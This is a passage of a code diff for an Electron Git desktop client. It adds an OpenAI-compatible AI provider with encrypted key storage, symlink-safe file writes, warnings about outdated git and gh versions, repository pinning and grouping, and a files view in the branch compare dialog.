readFile, realpath } from 'node:fs/promises'; +import { lstat, readFile, realpath, writeFile } from 'node:fs/promises'; import { dirname, join, normalize, parse, sep } from 'node:path'; /** @@ -82,3 +82,17 @@ export async function assertInsideRepo(repoPath: string, fsPath: string): Promis } } } + +/** + * Writes `content` to `relPath` inside the repository, refusing a symlinked leaf + * (an in-repo link pointing outside would otherwise be written through) and any + * path whose parent resolves outside the repo. For AI-generated file writes. + * ponytail: lstat then write is not atomic; a racing local writer could swap in a link. + */ +export async function writeRepoFile(repoPath: string, relPath: string, content: string): Promise { + const file = join(repoPath, ...relPath.split('/')); + await assertInsideRepo(repoPath, file); + const leaf = await lstat(file).catch((err: NodeJS.ErrnoException) => (err.code === 'ENOENT' ? null : Promise.reject(err))); + if (leaf?.isSymbolicLink()) throw new Error(`Refusing to write through a symbolic link: ${relPath}`); + await writeFile(file, content, 'utf8'); +} diff --git a/src/main/settings/sync-core.ts b/src/main/settings/sync-core.ts index 830bd77..e6cf83f 100644 --- a/src/main/settings/sync-core.ts +++ b/src/main/settings/sync-core.ts @@ -7,6 +7,7 @@ * replacement) so this can be unit tested and reasoned about in isolation. */ import type { + AiFeature, AiSettings, AppSettings, GitHubRepoRef, @@ -73,6 +74,9 @@ const PREFERENCE_KEYS = { const AI_PREFERENCE_KEYS = { provider: true, model: true, + openaiBaseUrl: true, + openaiModel: true, + featureModels: true, effort: true, autoStageAfterResolve: true, reviewStrictness: true, @@ -126,14 +130,15 @@ const ENUM_PREFERENCE_KEYS: Partial> = { - provider: ['anthropic', 'claude-cli', 'disabled'], + provider: ['anthropic', 'claude-cli', 'openai-compatible', 'disabled'], effort: ['low', 'medium', 'high', 'xhigh', 'max'], reviewStrictness: ['strict', 'balanced', 'thorough'], agentCommand: ['claude', 'codex', 'omp', 'custom'], }; -const AI_STRING_KEYS = new Set(['model']); +const AI_STRING_KEYS = new Set(['model', 'openaiBaseUrl', 'openaiModel']); const AI_BOOLEAN_KEYS = new Set(['autoStageAfterResolve', 'reviewPostFooter']); const AI_NUMBER_KEYS = new Set(['reviewMaxFiles']); +const AI_FEATURES: Record = { resolver: true, commitMessage: true, review: true, split: true, triage: true, prDraft: true, rebase: true, releaseNotes: true, explain: true, errorExplain: true, nlPalette: true }; export function buildPortablePreferences(settings: AppSettings): PortablePreferences { const out: Record = {}; @@ -183,6 +188,14 @@ export function buildSettingsExport(opts: BuildExportOptions): SettingsExport { // Validation // --------------------------------------------------------------------------- +/** Keeps only known features with string model names; null when `raw` is not an object. */ +function validateFeatureModels(raw: unknown): Partial> | null { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return null; + const out: Partial> = {}; + for (const [feature, model] of Object.entries(raw)) if (Object.hasOwn(AI_FEATURES, feature) && typeof model === 'string' && model.trim()) out[feature as AiFeature] = model.trim(); + return out; +} + function validateAi(raw: unknown): { value: Partial; warnings: string[] } { const warnings: string[] = []; const value: Partial = {}; @@ -199,6 +212,10 @@ function validateAi(raw: unknown): { value: Partial; warning if (AI_ENUM_KEYS[k]) { if (typeof v === 'string' && AI_ENUM_KEYS[k]!.includes(v)) (value as Record)[k] = v; else warnings.push(`preferences.ai.${key}: unexpected value, ignored`); + } else if (k === 'featureModels') { + const models = validateFeatureModels(v); + if (models) value.featureModels = models; + else warnings.push(`preferences.ai.${key}: expected an object of model names, ignored`); } else if (AI_STRING_KEYS.has(k)) { if (typeof v === 'string') (value as Record)[k] = v; else warnings.push(`preferences.ai.${key}: expected a string, ignored`); @@ -495,7 +512,7 @@ function countPatchChanges(current: AppSettings, patch: Partial): n for (const key of Object.keys(patch) as (keyof AppSettings)[]) { if (key === 'ai') { const patchAi = patch.ai; - if (patchAi) for (const ak of Object.keys(patchAi) as (keyof AiSettings)[]) if (current.ai[ak] !== patchAi[ak]) changes++; + if (patchAi) for (const ak of Object.keys(patchAi) as (keyof AiSettings)[]) if (JSON.stringify(current.ai[ak]) !== JSON.stringify(patchAi[ak])) changes++; continue; } if ((current as unknown as Record)[key] !== (patch as Record)[key]) changes++; diff --git a/src/main/store.ts b/src/main/store.ts index f1d348a..c738619 100644 --- a/src/main/store.ts +++ b/src/main/store.ts @@ -102,6 +102,7 @@ const EMPTY_SETTINGS_SYNC: SettingsSyncState = { gistId: null, lastSyncedAt: nul interface SecretsFile { anthropicApiKey: string | null; + openaiApiKey: string | null; } /** Cached notifications inbox: the items shown while offline/before the first poll, and enough of the server's conditional-request state to resume without re-fetching everything. Titles of private repositories live here (see Options → Advanced's "Clear inbox cache"). */ @@ -145,8 +146,9 @@ export class Store { excludedRepositoryPaths: [], }), }; - this.secrets = { file: join(this.dir, 'secrets.json'), value: readJson(join(this.dir, 'secrets.json'), { anthropicApiKey: null }) }; + this.secrets = { file: join(this.dir, 'secrets.json'), value: readJson(join(this.dir, 'secrets.json'), { anthropicApiKey: null, openaiApiKey: null }) }; this.settings.value.ai.hasApiKey = this.getApiKey() !== null; + this.settings.value.ai.hasOpenaiApiKey = this.getOpenaiApiKey() !== null; this.inbox = { file: join(this.dir, 'inbox.json'), value: readJson(join(this.dir, 'inbox.json'), EMPTY_INBOX_CACHE) }; } @@ -156,7 +158,7 @@ export class Store { updateSettings(patch: Partial): AppSettings { const next: AppSettings = { ...this.settings.value, ...patch }; - if (patch.ai) next.ai = { ...this.settings.value.ai, ...patch.ai, hasApiKey: this.getApiKey() !== null }; + if (patch.ai) next.ai = { ...this.settings.value.ai, ...patch.ai, hasApiKey: this.getApiKey() !== null, hasOpenaiApiKey: this.getOpenaiApiKey() !== null }; this.settings.value = next; writeJson(this.settings.file, next); for (const l of this.listeners) l(next); @@ -242,7 +244,11 @@ export class Store { } getApiKey(): string | null { - const stored = this.secrets.value.anthropicApiKey; + return this.readSecret('anthropicApiKey'); + } + + private readSecret(field: keyof SecretsFile): string | null { + const stored = this.secrets.value[field]; if (!stored) return null; try { if (stored.startsWith('enc:')) return this.platform.decryptSecret(stored.slice(4)); @@ -273,6 +279,19 @@ export class Store { } setApiKey(key: string | null): void { + this.storeSecret('anthropicApiKey', 'hasApiKey', key); + } + + /** API key for the OpenAI-compatible provider; stored and encrypted exactly like the Anthropic key and never exported. */ + getOpenaiApiKey(): string | null { + return this.readSecret('openaiApiKey'); + } + + setOpenaiApiKey(key: string | null): void { + this.storeSecret('openaiApiKey', 'hasOpenaiApiKey', key); + } + + private storeSecret(field: keyof SecretsFile, flag: 'hasApiKey' | 'hasOpenaiApiKey', key: string | null): void { let stored: string | null = null; if (key) { const encrypted = this.platform.encryptSecret(key); @@ -283,9 +302,9 @@ export class Store { stored = key; } } - this.secrets.value = { anthropicApiKey: stored }; + this.secrets.value = { ...this.secrets.value, [field]: stored }; writeJson(this.secrets.file, this.secrets.value); - this.settings.value = { ...this.settings.value, ai: { ...this.settings.value.ai, hasApiKey: stored !== null } }; + this.settings.value = { ...this.settings.value, ai: { ...this.settings.value.ai, [flag]: stored !== null } }; writeJson(this.settings.file, this.settings.value); for (const l of this.listeners) l(this.settings.value); } @@ -347,6 +366,8 @@ export class Store { const { patch: integrationsPatch } = buildIntegrationsPatch(this.settings.value, file.integrations, mode, file.platform, process.platform); patch = { ...patch, ...integrationsPatch }; } + // An imported file must not be able to point the stored key at another server: a changed base URL drops the key. + if (patch.ai && patch.ai.openaiBaseUrl !== this.settings.value.ai.openaiBaseUrl && this.getOpenaiApiKey() !== null) this.setOpenaiApiKey(null); const settings = Object.keys(patch).length ? this.updateSettings(patch) : this.settings.value; if (sections.includes('repositories') && file.repositories) { diff --git a/src/main/tools.ts b/src/main/tools.ts index eec5cf0..d585e1c 100644 --- a/src/main/tools.ts +++ b/src/main/tools.ts @@ -2,9 +2,17 @@ import { access, constants, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; import { delimiter, join } from 'node:path'; import type { GitHubAccount, ToolInfo, ToolsState } from '@shared/types'; +import { MIN_TOOL_VERSIONS } from '@shared/util'; import { exec } from './exec'; import { log } from './logger'; import type { Store } from './store'; +import { compareVersions } from './update/update-core'; + +/** Marks `info` outdated (with the minimum) when its version is known and below `min`; never blocks. */ +export function flagOutdated(info: ToolInfo, min: string): ToolInfo { + if (!info.installed || !info.version) return info; + return compareVersions(info.version, min) < 0 ? { ...info, outdated: true, minVersion: min } : info; +} const isWindows = process.platform === 'win32'; @@ -143,8 +151,8 @@ export class ToolLocator { this.located = (async () => { const settings = this.store.getSettings(); const [git, gh, claudeCli, gpg, sshKeygen] = await Promise.all([ - this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null), - this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null), + this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.git)), + this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.gh)), this.locate('claude', settings.ai.claudeCliPath, ['--version'], (o) => o.trim().split('\n')[0]?.trim() || null), this.locate('gpg', null, ['--version'], (o) => /gpg \(GnuPG\) (\S+)/.exec(o)?.[1] ?? null), this.locateSshKeygen(), diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 3a38dc3..98b6fbc 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -1,6 +1,8 @@ export interface GitGoodBridge { platform: string; invokeRaw: (method: string, ...args: unknown[]) => Promise; + /** Absolute path of a dropped File; only the local desktop app provides it (not web tabs or desktop client mode). */ + getPathForFile?: (file: File) => string; on: (event: string, listener: (payload: unknown) => void) => () => void; } diff --git a/src/preload/index.ts b/src/preload/index.ts index 3712b50..e180c79 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -1,9 +1,11 @@ -import { contextBridge, ipcRenderer, type IpcRendererEvent } from 'electron'; +import { contextBridge, ipcRenderer, webUtils, type IpcRendererEvent } from 'electron'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL } from '../shared/ipc'; const bridge = { platform: process.platform, invokeRaw: (method: string, ...args: unknown[]): Promise => ipcRenderer.invoke(IPC_INVOKE_CHANNEL, method, ...args), + /** Absolute path of a dropped File (the renderer cannot read `file.path` any more); only the local desktop app has this. */ + getPathForFile: (file: File): string => webUtils.getPathForFile(file), on: (event: string, listener: (payload: unknown) => void): (() => void) => { const handler = (_e: IpcRendererEvent, name: string, payload: unknown) => { if (name === event) listener(payload); diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index 4b36346..1e4225f 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -1,14 +1,13 @@ -import React, { useEffect, useRef, useState } from 'react'; +import React, { Suspense, useEffect, useRef, useState } from 'react'; import { bootstrap, setView } from './state/actions'; import { store, useAppStore } from './state/store'; import { Banners } from './components/Banners'; import { ChangesTab } from './components/ChangesTab'; import { Dialogs } from './components/dialogs'; +import { DropZone } from './components/DropZone'; import { DiffPane } from './components/diff/DiffPane'; -import { HealthView } from './components/HealthView'; import { CommitDetailsPane, HistoryTab } from './components/HistoryTab'; import { HelpPanel } from './components/HelpPanel'; -import { InboxPanel } from './components/Inbox'; import { SetupScreen } from './components/Setup'; import { StashesView } from './components/StashesTab'; import { Toasts } from './components/Toasts'; @@ -17,6 +16,10 @@ import { ContextMenuHost, Icon } from './components/ui'; import { TabBar, installLongPress, installPhoneNavigation, onPhoneTap } from './components/Mobile'; import { Welcome } from './components/Welcome'; import { ReviewView } from './components/review/ReviewView'; +import { lazyExport } from './lib/lazy'; + +const HealthView = lazyExport(() => import('./components/HealthView'), 'HealthView'); +const InboxPanel = lazyExport(() => import('./components/Inbox'), 'InboxPanel'); /** Drives the sidebar width from the DOM while dragging (one style write per mousemove) and commits it to the store on release, so the tree re-renders once per drag instead of once per pixel. */ function useSidebarResize(): { width: number; asideRef: React.RefObject; onMouseDown: (e: React.MouseEvent) => void; active: boolean } { @@ -71,6 +74,7 @@ export function App(): React.JSX.Element { const reviewPath = useAppStore((s) => s.review.selectedPath); const reviewFile = useAppStore((s) => s.review.run?.files.find((f) => f.file.path === s.review.selectedPath)?.file ?? null); const phonePane = useAppStore((s) => s.phonePane); + const inboxOpen = useAppStore((s) => s.inboxUi.open); const popover = useAppStore((s) => s.popover); const { width, asideRef, onMouseDown, active } = useSidebarResize(); @@ -111,7 +115,11 @@ export function App(): React.JSX.Element { } else if (view === 'stashes' && !reviewOpen) { content = ; } else if (view === 'health' && !reviewOpen) { - content = ; + content = ( + Loading…

}> + + + ); } else { const workingFile = selectedWorking ? status?.files.find((f) => f.path === selectedWorking) ?? null : null; content = ( @@ -163,7 +171,12 @@ export function App(): React.JSX.Element { {repo && !reviewOpen && view === 'history' && showCommitDiff ? : null} - + {inboxOpen ? ( + + + + ) : null} +
diff --git a/src/renderer/src/components/Banners.tsx b/src/renderer/src/components/Banners.tsx index bd9bc13..9564b0a 100644 --- a/src/renderer/src/components/Banners.tsx +++ b/src/renderer/src/components/Banners.tsx @@ -82,6 +82,33 @@ function CheckFailedBanner(): React.JSX.Element | null { ); } +const TOOL_UPDATE_HELP: Record<'git' | 'gh', { label: string; url: string; hint: (platform: string) => string }> = { + git: { label: 'Git', url: 'https://git-scm.com/downloads', hint: (p) => (p === 'win32' ? 'winget upgrade --id Git.Git -e' : p === 'darwin' ? 'brew upgrade git' : 'update the git package with your package manager') }, + gh: { label: 'GitHub CLI', url: 'https://cli.github.com', hint: (p) => (p === 'win32' ? 'winget upgrade --id GitHub.cli -e' : p === 'darwin' ? 'brew upgrade gh' : 'update gh as described on cli.github.com') }, +}; + +/** Warns (never blocks) when git or gh is older than the supported minimum; dismissible for the session. */ +function useToolsOutdatedBanner(): React.JSX.Element | null { + const tools = useAppStore((s) => s.tools); + const [dismissed, setDismissed] = useState(false); + const outdated = (['git', 'gh'] as const).filter((t) => tools?.[t].outdated); + if (!tools || dismissed || !outdated.length) return null; + const platform = window.gitgoodBridge.platform; + return ( +
+ + + {outdated.map((t) => ( + + {TOOL_UPDATE_HELP[t].label} {tools[t].version} is older than the supported minimum {tools[t].minVersion}. Some features may fail. Update: {TOOL_UPDATE_HELP[t].hint(platform)} or download from . + + ))} + +
+ ); +} + /** Event-socket state of a browser tab or remote-server session (see src/server/web-bridge.ts); null while healthy. */ function useServerBanner(): React.JSX.Element | null { const [connected, setConnected] = useState(true); @@ -149,7 +176,8 @@ export function Banners(): React.JSX.Element | null { const update = updateBanner(updateState); const serverBanner = useServerBanner(); - if (!repo || !status) return update || serverBanner ?
{serverBanner}{update}
: null; + const toolsBanner = useToolsOutdatedBanner(); + if (!repo || !status) return update || serverBanner || toolsBanner ?
{serverBanner}{toolsBanner}{update}
: null; const banners: React.ReactNode[] = []; const op = status.operation; @@ -259,6 +287,7 @@ export function Banners(): React.JSX.Element | null { } if (update) banners.push(update); + if (toolsBanner) banners.push(toolsBanner); if (serverBanner) banners.unshift(serverBanner); return banners.length ?
{banners}
: null; } diff --git a/src/renderer/src/components/ChangesTab.tsx b/src/renderer/src/components/ChangesTab.tsx index e41247c..60f29e3 100644 --- a/src/renderer/src/components/ChangesTab.tsx +++ b/src/renderer/src/components/ChangesTab.tsx @@ -1,9 +1,10 @@ import React, { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { aiEnabled as aiOn } from '@shared/ai-model'; import type { CommitFile, ReviewFinding, ReviewSeverity, WorkingFile } from '@shared/types'; import { extname } from '@shared/util'; import { invoke, isMac } from '../api'; import * as actions from '../state/actions'; -import { openDialog, patchChanges, store, useAppStore } from '../state/store'; +import { openDialog, patchChanges, store, useAppStore, useAiEnabled } from '../state/store'; import { liveFindings, SEVERITY_ICON, SEVERITY_TONE } from './review/ReviewView'; import { onListKeyDown } from '../lib/listKeys'; import { Avatar, Button, Checkbox, Icon, PathLabel, Spinner, openContextMenu, statusIcon, statusLabel, type MenuItem } from './ui'; @@ -48,7 +49,7 @@ export function ChangesTab(): React.JSX.Element { const items: MenuItem[] = []; if (file.conflict) { items.push( - { label: 'Resolve with AI', icon: 'sparkle', onClick: () => void actions.resolveWithAi(file.path), disabled: s.settings?.ai.provider === 'disabled' || s.aiBusy }, + { label: 'Resolve with AI', icon: 'sparkle', onClick: () => void actions.resolveWithAi(file.path), disabled: !aiOn(s.settings, s.currentRepo) || s.aiBusy }, { label: `Use ${s.status?.operation.kind === 'rebase' ? 'upstream' : 'current branch'} version (ours)`, onClick: () => void actions.useSide(file.path, 'ours') }, { label: `Use ${s.status?.operation.kind === 'rebase' ? 'rebased commit' : 'incoming'} version (theirs)`, onClick: () => void actions.useSide(file.path, 'theirs') }, { label: 'Mark as resolved', onClick: () => void actions.markResolved([file.path]) }, @@ -154,7 +155,7 @@ function PrecommitFindingsStrip(): React.JSX.Element | null { const review = useAppStore((s) => s.precommitReview); const run = review.run; // Subscribed so turning the AI provider off hides the Fix with agent action immediately. - useAppStore((s) => s.settings?.ai.provider); + useAiEnabled(); const findings = useMemo(() => liveFindings(run), [run]); if (!run && !review.running) return null; @@ -241,6 +242,7 @@ function CommitForm(): React.JSX.Element { const status = useAppStore((s) => s.status); const changes = useAppStore((s) => s.changes); const settings = useAppStore((s) => s.settings); + const aiAvailable = useAiEnabled(); const aiCommitBusy = useAppStore((s) => s.aiCommitBusy); const precommitReview = useAppStore((s) => s.precommitReview); const precommitFindings = useMemo(() => liveFindings(precommitReview.run), [precommitReview.run]); @@ -265,6 +267,12 @@ function CommitForm(): React.JSX.Element { }; }, [repoPath, signingConfigVersion]); + // Prefill from commit.template when the form is empty: on repository open, after a commit empties it, and when amend is switched off. + const statusLoaded = !!status; + useEffect(() => { + if (statusLoaded) void actions.prefillCommitTemplate(); + }, [repoPath, statusLoaded, changes.amend, changes.committing]); + const files = status?.files ?? []; const excludedSet = new Set(changes.excluded); const included = files.filter((f) => !excludedSet.has(f.path)); @@ -350,14 +358,18 @@ function CommitForm(): React.JSX.Element { /> ) : null} +
+ repo && void actions.setRepoPrefs(repo, { signoff: v })} label="Sign off" disabled={changes.committing || !repo} title="Add a Signed-off-by trailer (git commit --signoff). Remembered for this repository." /> + patchChanges({ noVerify: v })} label={changes.noVerify ? Skip hooks (this commit only) : 'Skip hooks'} disabled={changes.committing} title="Run git commit --no-verify: skips the pre-commit and commit-msg hooks for the next commit only." /> +
.{tools.git.error ? ` (${tools.git.error})` : ''} @@ -31,13 +32,16 @@ export function SetupScreen({ tools }: { tools: ToolsState }): React.JSX.Element
- GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : 'not found (needed for GitHub features)'} + GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : `not found (${MIN_TOOL_VERSIONS.gh} or newer; needed for GitHub features)`} {!tools.gh.installed ? ( Install with {ghInstall} or download from . ) : ( - {tools.gh.path} + <> + {tools.gh.path} + {tools.gh.outdated ? Older than the supported minimum {tools.gh.minVersion}, so GitHub features may fail. Update with {ghInstall} or download from . : null} + )}
diff --git a/src/renderer/src/components/Toolbar.tsx b/src/renderer/src/components/Toolbar.tsx index 8bc77bf..23e5f92 100644 --- a/src/renderer/src/components/Toolbar.tsx +++ b/src/renderer/src/components/Toolbar.tsx @@ -3,7 +3,7 @@ import type { Branch, PrTriage, PullRequest, RepositoryInfo, TriageNextAction, T import { compareStrings, formatRelativeTime } from '@shared/util'; import { invoke, isMac } from '../api'; import * as actions from '../state/actions'; -import { openDialog, setPopover, store, useAppStore } from '../state/store'; +import { openDialog, setPopover, store, useAppStore, useAiEnabled } from '../state/store'; import { Avatar, Badge, Button, FilterInput, Icon, RelativeTime, Spinner, openContextMenu, useFilter, type MenuItem } from './ui'; import { PHONE_QUERY, PhoneBackButton, useMediaQuery } from './Mobile'; @@ -20,7 +20,8 @@ export function Toolbar(): React.JSX.Element { const prsList = useAppStore((s) => s.prs.list); const triageCache = useAppStore((s) => s.triage.byNumber); const ghLogin = useAppStore((s) => s.tools?.ghAccount?.login ?? null); - const triageEnabled = settings?.ai.provider !== 'disabled' && !!repo?.github; + const aiOn = useAiEnabled(); + const triageEnabled = aiOn && !!repo?.github; const waitingOnYouCount = useMemo(() => (triageEnabled ? actions.waitingOnYouPrs(prsList, triageCache, ghLogin).length : 0), [triageEnabled, prsList, triageCache, ghLogin]); const phone = useMediaQuery(PHONE_QUERY); const phonePane = useAppStore((s) => s.phonePane); @@ -137,7 +138,7 @@ export function Toolbar(): React.JSX.Element { AI resolving… ) : null} - {settings?.ai.provider !== 'disabled' && repo && status?.hasConflicts ? ( + {aiOn && repo && status?.hasConflicts ? ( @@ -204,14 +205,19 @@ function RepositoryPopover(): React.JSX.Element { const topLevel = useMemo(() => repos.filter((r) => !r.worktreeOf && !r.parentRepoId && (matchedIds.has(r.id) || childrenOf(r.id).length > 0)), [repos, matchedIds, query]); // eslint-disable-line react-hooks/exhaustive-deps const groups = useMemo(() => { + const byName = (a: RepositoryInfo, b: RepositoryInfo) => compareStrings(a.alias ?? a.name, b.alias ?? b.name); + const pinned: RepositoryInfo[] = []; + const custom: Record = {}; const github: Record = {}; const other: RepositoryInfo[] = []; for (const r of topLevel) { - if (r.github) (github[r.github.owner] ??= []).push(r); + if (r.pinned) pinned.push(r); + else if (r.group) (custom[r.group] ??= []).push(r); + else if (r.github) (github[r.github.owner] ??= []).push(r); else other.push(r); } - const ownerNames = Object.keys(github).sort(compareStrings); - return { ownerNames, github, other }; + for (const list of Object.values(custom)) list.sort(byName); + return { pinned: pinned.sort(byName), customNames: Object.keys(custom).sort(compareStrings), custom, ownerNames: Object.keys(github).sort(compareStrings), github, other }; }, [topLevel]); const contextMenu = (e: React.MouseEvent, repo: RepositoryInfo) => { @@ -222,6 +228,10 @@ function RepositoryPopover(): React.JSX.Element { { type: 'separator' }, { label: 'Copy repository path', onClick: () => void actions.copyToClipboard(repo.path, 'Path copied') }, { label: repo.alias ? 'Change alias…' : 'Create alias…', onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'alias' })); } }, + { label: repo.pinned ? 'Unpin from top' : 'Pin to top', disabled: !!repo.worktreeOf || !!repo.parentRepoId, onClick: () => void actions.setRepoPrefs(repo, { pinned: !repo.pinned }) }, + { label: 'Move to group…', disabled: !!repo.worktreeOf || !!repo.parentRepoId, onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'alias' })); } }, + ...(repo.group ? [{ label: `Remove from “${repo.group}”`, onClick: () => void actions.setRepoPrefs(repo, { group: null }) }] : []), + { label: repo.aiDisabled ? 'Enable AI for this repository' : 'Disable AI for this repository', disabled: !!repo.worktreeOf, onClick: () => void actions.setRepoAiDisabled(repo, !repo.aiDisabled) }, { type: 'separator' }, repo.worktreeOf ? { label: 'Manage worktrees…', onClick: () => { store.set({ popover: null }); void actions.openRepository(repos.find((r) => r.id === repo.worktreeOf) ?? repo).then(() => openDialog({ kind: 'worktrees' })); } } @@ -280,6 +290,18 @@ function RepositoryPopover(): React.JSX.Element {
{topLevel.length === 0 ?
{repos.length === 0 ? 'No repositories yet. Add or clone one to get started.' : 'No matching repositories.'}
: null} + {groups.pinned.length ? ( + <> +
Pinned
+ {groups.pinned.map(rowWithChildren)} + + ) : null} + {groups.customNames.map((name) => ( + +
{name}
+ {groups.custom[name].map(rowWithChildren)} +
+ ))} {groups.ownerNames.map((owner) => (
{owner}
@@ -536,7 +558,7 @@ function TriageLine({ pr, cache, login }: { pr: PullRequest; cache: Record void }): React.JSX.Element { const filtered = useFilter(prs, query, prKeys); const current = useAppStore((s) => s.status?.branch.name ?? null); - const aiEnabled = useAppStore((s) => s.settings?.ai.provider !== 'disabled'); + const aiEnabled = useAiEnabled(); const triage = useAppStore((s) => s.triage); const login = useAppStore((s) => s.tools?.ghAccount?.login ?? null); const online = useOnline(); diff --git a/src/renderer/src/components/dialogs/BranchDialogs.tsx b/src/renderer/src/components/dialogs/BranchDialogs.tsx index 61c22c8..fb188f9 100644 --- a/src/renderer/src/components/dialogs/BranchDialogs.tsx +++ b/src/renderer/src/components/dialogs/BranchDialogs.tsx @@ -1,10 +1,13 @@ import React, { useEffect, useMemo, useState } from 'react'; -import type { Branch, Commit } from '@shared/types'; +import type { Branch, Commit, CommitFile, FileDiff } from '@shared/types'; import { compareStrings, isValidBranchName, sanitizeBranchName } from '@shared/util'; import { errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, useAppStore } from '../../state/store'; -import { Button, Callout, Checkbox, Dialog, FilterInput, Icon, RelativeTime, Spinner, TextField, useFilter } from '../ui'; +import { Button, Callout, Checkbox, Dialog, FilterInput, Icon, RelativeTime, Segmented, Spinner, TextField, useFilter } from '../ui'; +import { CommitFileRow } from '../ChangesTab'; +import { ImageDiff } from '../diff/ImageDiff'; +import { TextDiff } from '../diff/TextDiff'; const branchKeys = (b: Branch) => [b.name, b.lastCommitSubject]; @@ -242,12 +245,73 @@ export function MergeDialog({ squash, preselect, rebase }: { squash: boolean; pr ); } +/** "Files changed" view of the Compare dialog: the `base...head` file list and the shared TextDiff rendering of `repo.diff.range` for the selected file. */ +function RangeFiles({ base, head }: { base: string; head: string }): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const settings = useAppStore((s) => s.settings); + const [files, setFiles] = useState(null); + const [selected, setSelected] = useState(null); + const [diff, setDiff] = useState(null); + const [error, setError] = useState(null); + useEffect(() => { + let cancelled = false; + setFiles(null); + setSelected(null); + setError(null); + if (!repo) return; + void invoke('repo.diff.rangeFiles', repo.path, base, head) + .then((f) => !cancelled && (setFiles(f), setSelected(f[0]?.path ?? null))) + .catch((err) => !cancelled && setError(errorMessage(err))); + return () => { + cancelled = true; + }; + }, [repo, base, head]); + useEffect(() => { + let cancelled = false; + setDiff(null); + if (!repo || !selected) return; + void invoke('repo.diff.range', repo.path, base, head, selected, { hideWhitespace: settings?.diffHideWhitespace ?? false }) + .then((d) => !cancelled && setDiff(d)) + .catch((err) => !cancelled && setDiff({ kind: 'empty', reason: errorMessage(err) })); + return () => { + cancelled = true; + }; + }, [repo, base, head, selected, settings?.diffHideWhitespace]); + if (error) return {error}; + if (!files) return ; + if (files.length === 0) return

No file changes between {base} and {head}.

; + return ( +
+
+ {files.map((f) => ( + setSelected(f.path)} /> + ))} +
+
+ {!diff ? ( + + ) : diff.kind === 'text' ? ( + + ) : diff.kind === 'image' ? ( + + ) : ( +
+ + {diff.kind === 'empty' ? diff.reason : diff.kind === 'binary' ? 'Binary file not shown.' : diff.kind === 'too-large' ? 'This diff is too large to display.' : 'Preview not available for this change.'} +
+ )} +
+
+ ); +} + export function CompareDialog(): React.JSX.Element { const branches = useAppStore((s) => s.branches); const status = useAppStore((s) => s.status); const repo = useAppStore((s) => s.currentRepo); const current = status?.branch.name ?? 'HEAD'; const [selected, setSelected] = useState(null); + const [tab, setTab] = useState<'commits' | 'files'>('commits'); const compare = useCompare(selected?.name ?? null, current); return ( Close}> @@ -259,6 +323,16 @@ export function CompareDialog(): React.JSX.Element { ) : compare.loading ? ( ) : ( + <> + + {tab === 'files' ? : (

@@ -291,6 +365,8 @@ export function CompareDialog(): React.JSX.Element { {repo?.github ? : null}

+ )} + )}
diff --git a/src/renderer/src/components/dialogs/CommitDialogs.tsx b/src/renderer/src/components/dialogs/CommitDialogs.tsx index 7730589..70fed47 100644 --- a/src/renderer/src/components/dialogs/CommitDialogs.tsx +++ b/src/renderer/src/components/dialogs/CommitDialogs.tsx @@ -1,7 +1,7 @@ import React, { useEffect, useState } from 'react'; import type { Commit, ErrorFix, GitErrorInfo } from '@shared/types'; import * as actions from '../../state/actions'; -import { closeDialog, openDialog, useAppStore } from '../../state/store'; +import { closeDialog, openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Checkbox, Dialog, Spinner, TextField } from '../ui'; import { DISCARD_CHANGES_BODY, DISCARD_CHANGES_TITLE } from '../../state/strings'; @@ -41,7 +41,7 @@ function ErrorFixRow({ fix, retry }: { fix: ErrorFix; retry?: () => void }): Rea function ErrorExplainSection({ info, retryable, retry }: { info: GitErrorInfo; retryable: boolean; retry?: () => void }): React.JSX.Element | null { const settings = useAppStore((s) => s.settings); const explain = useAppStore((s) => s.errorExplain); - const eligible = settings?.ai.provider !== 'disabled' && !DEDICATED_FLOW_CODES.has(info.code); + const eligible = useAiEnabled() && !DEDICATED_FLOW_CODES.has(info.code); const automatic = eligible && settings?.ai.explainErrorsAutomatically === true && info.code === 'unknown'; const [expanded, setExpanded] = useState(automatic); diff --git a/src/renderer/src/components/dialogs/ConflictsDialog.tsx b/src/renderer/src/components/dialogs/ConflictsDialog.tsx index 62f71ad..b0dfb5f 100644 --- a/src/renderer/src/components/dialogs/ConflictsDialog.tsx +++ b/src/renderer/src/components/dialogs/ConflictsDialog.tsx @@ -1,6 +1,7 @@ +import { modelFor } from '@shared/ai-model'; import React, { useMemo } from 'react'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Dialog, Icon, PathLabel, Spinner } from '../ui'; export function ConflictsDialog(): React.JSX.Element { @@ -22,7 +23,7 @@ export function ConflictsDialog(): React.JSX.Element { [rawConflicted, conflictResolutions], ); const kind = operation?.kind ?? 'none'; - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const opLabel = kind === 'merge' ? `merging ${operation?.targetName ?? 'branch'} into ${status?.branch.name ?? 'current branch'}` : kind === 'rebase' ? `rebasing ${operation?.headName ?? 'branch'} onto ${operation?.ontoName ?? operation?.onto?.slice(0, 7) ?? 